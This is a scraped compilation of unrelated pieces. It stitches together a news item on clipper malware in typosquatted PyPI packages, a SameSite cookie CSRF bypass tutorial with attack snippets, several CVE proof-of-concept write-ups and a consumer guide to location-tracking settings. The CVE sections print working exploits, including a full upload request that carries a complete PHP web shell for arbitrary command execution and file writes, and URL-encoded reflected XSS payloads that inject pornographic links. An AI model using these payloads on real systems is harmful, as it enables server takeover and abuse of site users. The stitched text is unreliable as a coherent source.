Malicious actors have published more than 451 unique Python packages on the official Python Package Index (PyPI) repository in an attempt to infect developer systems with clipper malware.
Software supply chain security company Phylum, which spotted the libraries, said the ongoing activity is a follow-up to a campaign that was initially disclosed in November 2022.
The initial vector entails using

Cryptocurrency / Software Security

Malicious actors have published more than 451 unique Python packages on the official Python Package Index (PyPI) repository in an attempt to infect developer systems with clipper malware.

Software supply chain security company Phylum, which spotted the libraries, said the ongoing activity is a follow-up to a campaign that was initially disclosed in November 2022.

The initial vector entails using typosquatting to mimic popular packages such as beautifulsoup, bitcoinlib, cryptofeed, matplotlib, pandas, pytorch, scikit-learn, scrapy, selenium, solana, and tensorflow, among others.

"After installation, a malicious JavaScript file is dropped to the system and executed in the background of any web browsing session," Phylum said in a report published last year. "When a developer copies a cryptocurrency address, the address is replaced in the clipboard with the attacker's address."

This is achieved by creating a Chromium web browser extension in the Windows AppData folder and writing to it the rogue Javascript and a manifest.json file that requests users' permissions to access and modify the clipboard.

Targeted web browsers include Google Chrome, Microsoft Edge, Brave, and Opera, with the malware modifying browser shortcuts to load the add-on automatically upon launch using the "--load-extension" command line switch.

The latest set of Python packages exhibits a similar, if not the same, modus operandi, and is designed to function as a clipboard-based crypto wallet replacing malware. What's changed is the obfuscation technique used to conceal the JavaScript code.

The ultimate goal of the attacks is to hijack cryptocurrency transactions initiated by the compromised developer and reroute them to attacker-controlled wallets instead of the intended recipient.

"This attacker significantly increased their footprint in pypi through automation," Phylum noted. "Flooding the ecosystem with packages like this will continue."

The findings coincide with a report from Sonatype, which found 691 malicious packages in the npm registry and 49 malicious packages in PyPI during the month of January 2023 alone.

The development once again illustrates the growing threat developers face from supply chain attacks, with adversaries relying on methods like typosquatting to trick users into downloading fraudulent packages.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Python Developers Beware: Clipper Malware Found in 450+ PyPI Packages!

An improper SameSite Attribute vulnerability in pimCore v10.5.15 allows attackers to execute arbitrary code.

SameSite is a browser security mechanism that determines when a website's cookies are included in requests originating from other websites. SameSite cookie restrictions provide partial protection against a variety of cross-site attacks, including CSRF, cross-site leaks, and some CORS exploits.

Since 2021, Chrome applies Lax SameSite restrictions by default if the website that issues the cookie doesn't explicitly set its own restriction level. This is a proposed standard, and we expect other major browsers to adopt this behavior in the future. As a result, it's essential to have solid grasp of how these restrictions work, as well as how they can potentially be bypassed, in order to thoroughly test for cross-site attack vectors.

In this section, we'll first cover how the SameSite mechanism works and clarify some of the related terminology. We'll then look at some of the most common ways you may be able to bypass these restrictions, enabling CSRF and other cross-site attacks on websites that may initially appear secure.

**What is a site in the context of SameSite cookies?**

In the context of SameSite cookie restrictions, a site is defined as the top-level domain (TLD), usually something like .com or .net, plus one additional level of the domain name. This is often referred to as the TLD+1.

When determining whether a request is same-site or not, the URL scheme is also taken into consideration. This means that a link from http://app.example.com to https://app.example.com is treated as cross-site by most browsers.

**Note**

You may come across the term "effective top-level domain" (eTLD). This is just a way of accounting for the reserved multipart suffixes that are treated as top-level domains in practice, such as .co.uk.

**What's the difference between a site and an origin?**

The difference between a site and an origin is their scope; a site encompasses multiple domain names, whereas an origin only includes one. Although they're closely related, it's important not to use the terms interchangeably as conflating the two can have serious security implications.

Two URLs are considered to have the same origin if they share the exact same scheme, domain name, and port. Although note that the port is often inferred from the scheme.

As you can see from this example, the term "site" is much less specific as it only accounts for the scheme and last part of the domain name. Crucially, this means that a cross-origin request can still be same-site, but not the other way around.

**Request from**

**Request to**

**Same-site?**

**Same-origin?**

https://example.com

https://example.com

Yes

Yes

https://app.example.com

https://intranet.example.com

Yes

No: mismatched domain name

https://example.com

https://example.com:8080

Yes

No: mismatched port

https://example.com

https://example.co.uk

No: mismatched eTLD

No: mismatched domain name

https://example.com

http://example.com

No: mismatched scheme

No: mismatched scheme

This is an important distinction as it means that any vulnerability enabling arbitrary JavaScript execution can be abused to bypass site-based defenses on other domains belonging to the same site. We'll see an example of this in one of the labs later.

**How does SameSite work?**

Before the SameSite mechanism was introduced, browsers sent cookies in every request to the domain that issued them, even if the request was triggered by an unrelated third-party website. SameSite works by enabling browsers and website owners to limit which cross-site requests, if any, should include specific cookies. This can help to reduce users' exposure to CSRF attacks, which induce the victim's browser to issue a request that triggers a harmful action on the vulnerable website. As these requests typically require a cookie associated with the victim's authenticated session, the attack will fail if the browser doesn't include this.

All major browsers currently support the following SameSite restriction levels:

*   Strict
*   Lax
*   None

Developers can manually configure a restriction level for each cookie they set, giving them more control over when these cookies are used. To do this, they just have to include the SameSite attribute in the Set-Cookie response header, along with their preferred value:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

Although this offers some protection against CSRF attacks, none of these restrictions provide guaranteed immunity, as we'll demonstrate using deliberately vulnerable, interactive labs later in this section.

**Note**

If the website issuing the cookie doesn't explicitly set a SameSite attribute, Chrome automatically applies Lax restrictions by default. This means that the cookie is only sent in cross-site requests that meet specific criteria, even though the developers never configured this behavior. As this is a proposed new standard, we expect other major browsers to adopt this behavior in future.

**Strict**

If a cookie is set with the SameSite=Strict attribute, browsers will not send it in any cross-site requests. In simple terms, this means that if the target site for the request does not match the site currently shown in the browser's address bar, it will not include the cookie.

This is recommended when setting cookies that enable the bearer to modify data or perform other sensitive actions, such as accessing specific pages that are only available to authenticated users.

Although this is the most secure option, it can negatively impact the user experience in cases where cross-site functionality is desirable.

**Labs**

*   LAB Bypassing SameSite Strict restrictions using on-site gadgets
*   LAB Bypassing SameSite Strict restrictions via vulnerable sibling domains

**Lax**

Lax SameSite restrictions mean that browsers will send the cookie in cross-site requests, but only if both of the following conditions are met:

*   The request uses the GET method.
    
*   The request resulted from a top-level navigation by the user, such as clicking on a link.
    

This means that the cookie is not included in cross-site POST requests, for example. As POST requests are generally used to perform actions that modify data or state (at least according to best practice), they are much more likely to be the target of CSRF attacks.

Likewise, the cookie is not included in background requests, such as those initiated by scripts, iframes, or references to images and other resources.

**Labs**

*   LAB Bypassing SameSite Lax restrictions using GET requests
*   LAB Bypassing SameSite Lax restrictions with newly issued cookies

**None**

If a cookie is set with the SameSite=None attribute, this effectively disables SameSite restrictions altogether, regardless of the browser. As a result, browsers will send this cookie in all requests to the site that issued it, even those that were triggered by completely unrelated third-party sites.

With the exception of Chrome, this is the default behavior used by major browsers if no SameSite attribute is provided when setting the cookie.

There are legitimate reasons for disabling SameSite, such as when the cookie is intended to be used from a third-party context and doesn't grant the bearer access to any sensitive data or functionality. Tracking cookies are a typical example.

If you encounter a cookie set with SameSite=None or with no explicit restrictions, it's worth investigating whether it's of any use. When the "Lax-by-default" behavior was first adopted by Chrome, this had the side-effect of breaking a lot of existing web functionality. As a quick workaround, some websites have opted to simply disable SameSite restrictions on all cookies, including potentially sensitive ones.

When setting a cookie with SameSite=None, the website must also include the Secure attribute, which ensures that the cookie is only sent in encrypted messages over HTTPS. Otherwise, browsers will reject the cookie and it won't be set.

Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure

**Bypassing SameSite Lax restrictions using GET requests**

In practice, servers aren't always fussy about whether they receive a GET or POST request to a given endpoint, even those that are expecting a form submission. If they also use Lax restrictions for their session cookies, either explicitly or due to the browser default, you may still be able to perform a CSRF attack by eliciting a GET request from the victim's browser.

As long as the request involves a top-level navigation, the browser will still include the victim's session cookie. The following is one of the simplest approaches to launching such an attack:

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

Even if an ordinary GET request isn't allowed, some frameworks provide ways of overriding the method specified in the request line. For example, Symfony supports the _method parameter in forms, which takes precedence over the normal method for routing purposes:

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

Other frameworks support a variety of similar parameters.

**Bypassing SameSite restrictions using on-site gadgets**

If a cookie is set with the SameSite=Strict attribute, browsers won't include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.

One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters. For some examples, see our materials on DOM-based open redirection.

As far as browsers are concerned, these client-side redirects aren't really redirects at all; the resulting request is just treated as an ordinary, standalone request. Most importantly, this is a same-site request and, as such, will include all cookies related to the site, regardless of any restrictions that are in place.

If you can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.

Note that the equivalent attack is not possible with server-side redirects. In this case, browsers recognize that the request to follow the redirect resulted from a cross-site request initially, so they still apply the appropriate cookie restrictions.

**Bypassing SameSite restrictions via vulnerable sibling domains**

Whether you're testing someone else's website or trying to secure your own, it's essential to keep in mind that a request can still be same-site even if it's issued cross-origin.

Make sure you thoroughly audit all of the available attack surface, including any sibling domains. In particular, vulnerabilities that enable you to elicit an arbitrary secondary request, such as XSS, can compromise site-based defenses completely, exposing all of the site's domains to cross-site attacks.

In addition to classic CSRF, don't forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake. For more details, see our topic on WebSocket vulnerabilities.

**Bypassing SameSite Lax restrictions with newly issued cookies**

Cookies with Lax SameSite restrictions aren't normally sent in any cross-site POST requests, but there are some exceptions.

As mentioned earlier, if a website doesn't include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn't actually enforce these restrictions for the first 120 seconds on top-level POST requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.

**Note**

This two-minute window does not apply to cookies that were explicitly set with the SameSite=Lax attribute.

It's somewhat impractical to try timing the attack to fall within this short window. On the other hand, if you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack. For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn't necessarily know whether the user is still logged in to the target site.

To trigger the cookie refresh without the victim having to manually log in again, you need to use a top-level navigation, which ensures that the cookies associated with their current OAuth session are included. This poses an additional challenge because you then need to redirect the user back to your site so that you can launch the CSRF attack.

Alternatively, you can trigger the cookie refresh from a new tab so the browser doesn't leave the page before you're able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless they're opened via a manual interaction. For example, the following popup will be blocked by the browser by default:

window.open('https://vulnerable-website.com/login/sso');

To get around this, you can wrap the statement in an onclick event handler as follows:

window.onclick = () => {
    window.open('https://vulnerable-website.com/login/sso');
}

This way, the window.open() method is only invoked when the user clicks somewhere on the page.

CVE-2023-25240: Bypassing SameSite cookie restrictions | Web Security Academy

An arbitrary file upload vulnerability in the component /fos/admin/ajax.php of Food Ordering System v2.0 allows attackers to execute arbitrary code via a crafted PHP file.

The Food Ordering System v2 suffers from, File Upload and web-shell upload RCE Vulnerabilities. The upload function for the background image hover of this system is not sanitizing correctly. The attacker can upload some RCE malicious code and easily destroy this system. The status of this system is awful!

POST /fos/admin/ajax.php?action=save\_settings HTTP/1.1
Host: pwnedhost.com
Content\-Length: 6157
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Content\-Type: multipart/form-data; boundary=----WebKitFormBoundaryqYQLHPx3VuntGH7W
Origin: http://pwnedhost.com
Referer: http://pwnedhost.com/fos/admin/index.php?page=site\_settings
Accept\-Encoding: gzip, deflate
Accept\-Language: en-US,en;q=0.9
Cookie: PHPSESSID\=598nahp235ehmk2broafrh37qq
Connection: close

------WebKitFormBoundaryqYQLHPx3VuntGH7W
Content\-Disposition: form-data; name="name"

Online Food Ordering System V2
------WebKitFormBoundaryqYQLHPx3VuntGH7W
Content\-Disposition: form-data; name="email"

info@sample.com
------WebKitFormBoundaryqYQLHPx3VuntGH7W
Content\-Disposition: form-data; name="contact"

+6948 8542 623
------WebKitFormBoundaryqYQLHPx3VuntGH7W
Content\-Disposition: form-data; name="about"

<p style="text-align: center; background: transparent; position: relative;"><span style="font-size:28px;background: transparent; position: relative;">ABOUT US</span></b></span></p><p style="text-align: center; background: transparent; position: relative;"><span style="background: transparent; position: relative; font-size: 14px;"><span style="font-size:28px;background: transparent; position: relative;"><b style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: &quot;Open Sans&quot;, Arial, sans-serif; text-align: justify;">Lorem Ipsum</b><span style="color: rgb(0, 0, 0); font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-weight: 400; text-align: justify;">&nbsp;is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry&#x2019;s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.</span><br></span></b></span></p><p style="text-align: center; background: transparent; position: relative;"><span style="background: transparent; position: relative; font-size: 14px;"><span style="font-size:28px;background: transparent; position: relative;"><span style="color: rgb(0, 0, 0); font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-weight: 400; text-align: justify;"><br></span></b></span></p><p style="text-align: center; background: transparent; position: relative;"><span style="background: transparent; position: relative; font-size: 14px;"><span style="font-size:28px;background: transparent; position: relative;"><h2 style="font-size:28px;background: transparent; position: relative;">Where does it come from?</h2><p style="text-align: center; margin-bottom: 15px; padding: 0px; color: rgb(0, 0, 0); font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-weight: 400;">Contrary to popular belief, Lorem Ipsum is not simply random text. It has roots in a piece of classical Latin literature from 45 BC, making it over 2000 years old. Richard McClintock, a Latin professor at Hampden-Sydney College in Virginia, looked up one of the more obscure Latin words, consectetur, from a Lorem Ipsum passage, and going through the cites of the word in classical literature, discovered the undoubtable source. Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of "de Finibus Bonorum et Malorum" (The Extremes of Good and Evil) by Cicero, written in 45 BC. This book is a treatise on the theory of ethics, very popular during the Renaissance. The first line of Lorem Ipsum, "Lorem ipsum dolor sit amet..", comes from a line in section 1.10.32.</p></span></b></span></p>
------WebKitFormBoundaryqYQLHPx3VuntGH7W
Content\-Disposition: form-data; name="img"; filename="pic.php"
Content\-Type: image/jpeg










<!DOCTYPE HTML PUBLIC "\-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html" charset="euc-kr"\>
		<title>PHP Web Shell Ver 4.0 by nu11secur1ty</title>
		<script type="text/javascript"\>
			function FocusIn(obj)
			{
				if(obj.value == obj.defaultValue)
					obj.value = '';
			}
			
			function FocusOut(obj)
			{
				if(obj.value == '')
					obj.value = obj.defaultValue;
			}
		</script>
	</head>
	<body>
		<b>WebShell's Location = http://<?php echo $\_SERVER\['HTTP\_HOST'\]; echo $\_SERVER\['REQUEST\_URI'\] ?></b><br><br>
		
		HTTP\_HOST = <?php echo $\_SERVER\['HTTP\_HOST'\] ?><br>
		REQUEST\_URI = <?php echo $\_SERVER\['REQUEST\_URI'\] ?><br>
		
		<br>
		
		<form name="cmd\_exec" method="post" action="http://<?php echo $\_SERVER\['HTTP\_HOST'\]; echo $\_SERVER\['REQUEST\_URI'\] ?>"\>	
			<input type\="text" name\="cmd" size\="70" maxlength\="500" value\="Input command to execute" onfocus\="FocusIn(document.cmd\_exec.cmd)" onblur\="FocusOut(document.cmd\_exec.cmd)"\>
			<input type\="submit" name\="exec" value\="exec"\>
		</form\>
		<?php
			if(isset($\_POST\['exec'\]))
			{
				exec($\_POST\['cmd'\],$result);

				echo '----------------- < OutPut > -----------------';
				echo '<pre>';
				foreach($result as $print)
				{
					$print = str\_replace('<','&lt;',$print);
					echo $print . '<br>';
				}
				echo '</pre>';
			}
			else echo '<br>';
		?>
		
		<form enctype\="multipart/form-data" name\="file\_upload" method\="post" action\="http://<?php echo $\_SERVER\['HTTP\_HOST'\]; echo $\_SERVER\['REQUEST\_URI'\] ?>"\>
			<input type\="file" name\="file"\>
			<input type\="submit" name\="upload" value\="upload"\><br\>
			<input type\="text" name\="target" size\="100" value\="Location where file will be uploaded (include file name!)" onfocus\="FocusIn(document.file\_upload.target)" onblur\="FocusOut(document.file\_upload.target)"\>
		</form\>
		<?php
			if(isset($\_POST\['upload'\]))
			{
				$check = move\_uploaded\_file($\_FILES\['file'\]\['tmp\_name'\], $\_POST\['target'\]);
				
				if($check == TRUE)
					echo '<pre>The file was uploaded successfully!!</pre>';
				else
					echo '<pre>File Upload was failed...</pre>';
			}
		?>
	</body\>
</html\>

------WebKitFormBoundaryqYQLHPx3VuntGH7W--

CVE-2023-24646: CVE-nu11secur1ty/vendors/oretnom23/2023/Food-Ordering-System-v2.0 at main · nu11secur1ty/CVE-nu11secur1ty

bgERP v22.31 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the Search parameter.

**Description:**

The bgERP system suffers from unsecured login cookies in which cookies are stored as very sensitive login and also login session information! The attacker can trick the already login user and can steal the already generated cookie from the system and can do VERY DANGEROUS things with the already stored sensitive information. This can be very expensive for all companies which are using this system, please be careful! Also, this system has a vulnerable search parameter for XSS-Reflected attacks!

**STATUS: HIGH Vulnerability**

\[+\] Exploit:

    GET /Portal/Show?recentlySearch_14=%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%70%6f%72%6e%68%75%62%2e%63%6f%6d%2f%22%20%74%61%72%67%65%74%3d%22%5f%62%6c%61%6e%6b%22%20%72%65%6c%3d%22%6e%6f%6f%70%65%6e%65%72%20%6e%6f%66%6f%6c%6c%6f%77%20%75%67%63%22%3e%0a%3c%69%6d%67%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%64%6c%2e%70%68%6e%63%64%6e%2e%63%6f%6d%2f%67%69%66%2f%34%31%31%36%35%37%36%31%2e%67%69%66%3f%3f%74%6f%6b%65%6e%3d%47%48%53%41%54%30%41%41%41%41%41%41%42%58%57%47%53%4b%4f%48%37%4d%42%46%4c%45%4b%46%34%4d%36%59%33%59%43%59%59%4b%41%44%54%51%26%72%73%3d%31%22%20%73%74%79%6c%65%3d%22%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%20%62%6c%61%63%6b%3b%6d%61%78%2d%77%69%64%74%68%3a%31%30%30%25%3b%22%20%61%6c%74%3d%22%50%68%6f%74%6f%20%6f%66%20%42%79%72%6f%6e%20%42%61%79%2c%20%6f%6e%65%20%6f%66%20%41%75%73%74%72%61%6c%69%61%27%73%20%62%65%73%74%20%62%65%61%63%68%65%73%21%22%3e%0a%3c%2f%61%3e&Cmd%5Bdefault%5D=1 HTTP/1.1
    Host: 192.168.100.77:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.100.77:8080/Portal/Show
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: SID=rfn0jpm60epeabc1jcrkhgr9c3; brid=MC9tQnJQ_438f57; menuInfo=1254:l :0
    Connection: close
    Content-Length: 0
    

\[+\] Response after logout of the system:

HTTP/1.1 302 Found
Date: Tue, 31 Jan 2023 15:13:26 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: 0
Cache-Control: no-cache, must-revalidate
Location: /core\_Users/login/?ret\_url=bgerp%2FPortal%2FShow%2FrecentlySearch\_14%2F%253Ca%2Bhref%253D%2522https%253A%252F%252Fpornhub.com%252F%2522%2Btarget%253D%2522\_blank%2522%2Brel%253D%2522noopener%2Bnofollow%2Bugc%2522%253E%250A%253Cimg%2Bsrc%253D%2522https%253A%252F%252Fdl.phncdn.com%252Fgif%252F41165761.gif%253F%253Ftoken%253DGHSAT0AAAAAABXWGSKOH7MBFLEKF4M6Y3YCYYKADTQ%2526rs%253D1%2522%2Bstyle%253D%2522border%253A1px%2Bsolid%2Bblack%253Bmax-width%253A100%2525%253B%2522%2Balt%253D%2522Photo%2Bof%2BByron%2BBay%252C%2Bone%2Bof%2BAustralia%2527s%2Bbest%2Bbeaches%2521%2522%253E%250A%253C%252Fa%253E%2FCmd%2Cdefault%2F1%2FCmd%2Crefresh%2F1\_48f6f472
Connection: close
Content-Length: 2
Content-Encoding: none
Content-Type: text/html; charset=UTF-8

OK

**Reproduce:**

href

**Proof and Exploit:**

href

**Time spent**

01:30:00

CVE-2023-25241: CVE-nu11secur1ty/vendors/bgERP/2023/bgERP-v22.31-Cookie-Session-vulnerability+XSS-Reflected at main · nu11secur1ty/CVE-nu11secur1ty

Zstore v6.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /index.php.

The value of manual insertion point 1 is copied into the HTML document as plain text between tags. The payload giflcc0yu0 was submitted in the manual insertion point 1. This input was echoed unmodified in the application's response.

    GET /index.php?p=%41%70%70%2f%50%61%67%65%73%2f%43%68%61%74%67%69%66%6c%63%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%79%6f%75%74%75%62%65%2e%63%6f%6d%2f%77%61%74%63%68%3f%76%3d%6d%68%45%76%56%39%51%37%7a%66%45%22%3e%3c%69%6d%67%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%6d%65%64%69%61%2e%74%65%6e%6f%72%2e%63%6f%6d%2f%2d%4b%39%73%48%78%58%41%62%2d%63%41%41%41%41%43%2f%73%68%61%6d%65%2d%6f%6e%2d%79%6f%75%2d%70%61%74%72%69%63%69%61%2e%67%69%66%22%3e%0a HTTP/2
    Host: store.zippy.com.ua
    Cookie: PHPSESSID=f816ed0ddb0c43828cb387f992ac8521; last_chat_id=439
    Cache-Control: max-age=0
    Sec-Ch-Ua: "Chromium";v="107", "Not=A?Brand";v="24"
    Sec-Ch-Ua-Mobile: ?0
    Sec-Ch-Ua-Platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: https://store.zippy.com.ua/index.php?q=p:App/Pages/Main
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    

    HTTP/2 200 OK
    Server: nginx
    Date: Sun, 29 Jan 2023 07:27:55 GMT
    Content-Type: text/html; charset=UTF-8
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    X-Ray: p529:0.010/wn19119:0.010/wa19119:D=12546
    
    Class \App\Pages\Chatgiflc<a href="https:\\www.youtube.com\watch?v=mhEvV9Q7zfE"><img src=https:\\media.tenor.com\-K9sHxXAb-cAAAAC\shame-on-you-patricia.gif">
     does not exist<br>82<br>/home/zippy00/zippy.com.ua/store/vendor/leon-mbs/zippy/core/webapplication.php<br>

CVE-2023-24648: CVE-nu11secur1ty/vendors/zippy/zstore-6.6.0 at main · nu11secur1ty/CVE-nu11secur1ty

SLIMS v9.5.2 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /customs/loan_by_class.php?reportView.

The value of manual insertion point 3 is copied into the HTML document as plain text between tags. The payload udz21<script>alert(1)</script>rk346 was submitted in manual insertion point 3. This input was echoed unmodified in the application's response. The attacker can trick the already logged-in user, to visit the exploit link that this attacker is created, and if this already logged-in user is not actually IT or admin, this will be the end of this system.

    GET /slims9_bulian-9.5.2/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%27udz21%3Ca%20href=https://www.pornhub.com%3E%3Cimg%20src=https://i.postimg.cc/1tSM7Z7F/Hijacking-clipboard.gif%22%3E%50%6c%65%61%73%65%2c%20%76%69%73%69%74%20%6f%75%72%20%6d%61%69%6e%74%65%6e%61%6e%63%65%20%70%61%67%65%20%74%6f%20%63%68%65%63%6b%20%77%68%61%74%20%69%73%20%74%68%65%20%6c%61%74%65%73%74%20%6e%65%77%73%21%20%57%65%20%61%72%65%20%73%6f%72%72%79%20%66%6f%72%20%74%68%69%73%20%70%72%6f%62%6c%65%6d%21%20%54%68%69%73%20%77%69%6c%6c%20%62%65%20%66%69%78%65%64%20%73%6f%6f%6e&membershipType=a%27%27&collType=%27 HTTP/1.1
    Host: pwnedhost1.com
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: SenayanAdmin=qavdssnj7kgu5g8a7d1pm0l3rr; admin_logged_in=1; SenayanMember=8f7c68j2b0pgbovehqcfuhcnl4
    Connection: close

CVE-2023-24086: CVE-nu11secur1ty/vendors/slims.web.id/SLIMS-9.5.2 at main · nu11secur1ty/CVE-nu11secur1ty

Your devices and apps really, really want to know where you are—whether it's to tell you the weather, recommend some restaurants you might like, or better target advertising at you. Managing what you're sharing and what you're not sharing, and when, can quickly get confusing.

It's also possible that you have inconsistencies in the various location histories logged by your devices: Times when you thought you'd switched off and blocked location sharing but you're still being tracked, or vice versa.

Here we'll cover everything you need to consider when it comes to location tracking, and hopefully simplify it along the way. Whether you want to give out access to your current location or not, you should be in control of these settings, and not be caught unawares by additional options that you missed.

How Location Tracking Gets Confusing

You can turn off Google Location History—but it's just the start.

Google via David Nield

What happens if you distinctly remember turning location tracking off on a device, yet your position is still popping up on a map? Or maybe you thought you'd left the feature on, yet you're seeing gaps in your location history? There are a few explanations, but essentially you need to remember all the different ways your location can be logged: by your devices, by your apps, and by websites you visit.

For example, you might have disabled location tracking on a phone but left it enabled on a tablet. Alternatively, you might have a laptop that's tracking where you are in the background, even though you thought you'd disabled the feature in the apps you use. If you want location tracking completely enabled or disabled, you need to factor in all these different ways of keeping tabs on where you are.

If you have a Google account, this is a good illustration. Head to your account settings on the web, then choose **Data and Privacy** and **Location History**. Select **Devices on This Account**, which may reveal some phones, tablets, and laptops that you'd forgotten about—any device with a check next to it in this list is saving your movements to your Google account for future reference.

You can click **Turn Off** to disable this, but note the caveats that are listed in the confirmation box that appears onscreen: Your location might still be logged by your mobile devices, by the Find My Device service that helps you recover lost hardware, and by Google Maps when you're navigating or searching around the area you're in. This Location History setting is more of an overall toggle switch, affecting features such as the Google Timeline and the ability to quickly look up places you visit regularly.

From the main Google account screen, there are several more places where your location gets logged and shared: Click **Data and Privacy** then **Web & App Activity** to manage location data saved by Google Maps and other apps and websites, and click **People andSharing** then **Manage Location Sharing** to see a list of specific contacts who can see where you are through various Google services.

Managing Location Tracking on Mobile

You can control location tracking for individual apps and devices as a whole.

Android via David Nield

The steps to manage your location on Android vary slightly depending on the manufacturer of your phone, but the menus and instructions involved are broadly similar. On Google Pixel devices, you can open up **Settings** then select **Location**: You'll see the **Use Location** toggle switch, and if you turn this off, none of your apps will be able to know where you are, nor will Google.

If you leave the **Use Location** toggle switch on, you can customize location access for individual apps further down on the same screen. Note that you can choose to allow apps to know where you are at all times, or only when the app in question is running in the foreground—tap on any app in the list to make changes.

Over on iOS, it's a similar setup. If you select **Privacy & Security** from **Settings**, and then tap **Location Services**, you can turn off location tracking for the phone and all the apps on it. If you choose to leave this enabled, you can manage individual app access to your location via the list underneath. As on Android, you can choose to restrict apps to knowing your location only when the particular app itself is running, or allow them to monitor it in the background too.

Erasing the location data that's been collected on you is a complex process, as you need to check the records and the settings of every app that's ever had access to your location. For Google and Google's apps, you can head to your Google account on the web, then choose either **Location History** or **Web & App Activity** under **Data and Privacy** to wipe this data from the record. You'll also find options for automatically deleting this data after 3, 18, or 36 months.

Apple doesn't log your movements in quite the same way, but it does build up a list of places you visit frequently (like your home and perhaps your office) so you can quickly get to them again. To clear this list on your iPhone, open **Settings** then choose **Privacy & Security**, **Location Services**, **System Services**, and **Significant Locations**. You can clear this list and stop it from populating in the future.

Managing Location Tracking on Desktop

You can control location tracking on Windows and its individual programs.

Windows via David Nield

Your laptop or desktop computer is unlikely to be fitted with GPS capabilities, so it won't track your location in quite the same way as your phone, but applications, websites, and the operating system will still have some idea where you are—primarily through the locations that you sign into the web from (via your home Wi-Fi, for example).

On Windows, you can open up **Settings** and then choose **Privacy & Security** and **Location**. As on Android and iOS, you'll see you can turn location tracking off for individual applications (via the toggle switches on the right) or shut it down for the entire computer (the option at the top). The same screen lets you see which apps have been using your location, and enables you to wipe the log of your travels—click **Clear** next to **Location History** to do this.

When it comes to the same process on macOS, you need to click the **Apple** menu and select **System Settings**, **Privacy & Security**, and **Location Services**. The next screen looks very similar to the Windows one, with toggle switches for individual applications as well as for macOS itself—turn off any of the switches where you don't want location access to be given. If you click **Details** next to **System Services** on this screen, you can clear the list of “significant locations” Apple has saved for you, just like on iOS.

If location tracking is on for your computer and your browser of choice, that means individual websites such as Facebook, Amazon, or the Google Search can know where you are as well. Sometimes this is useful, of course (for getting the right weather forecast), but there might be times when you want to turn it off if you're trying to keep your whereabouts private.

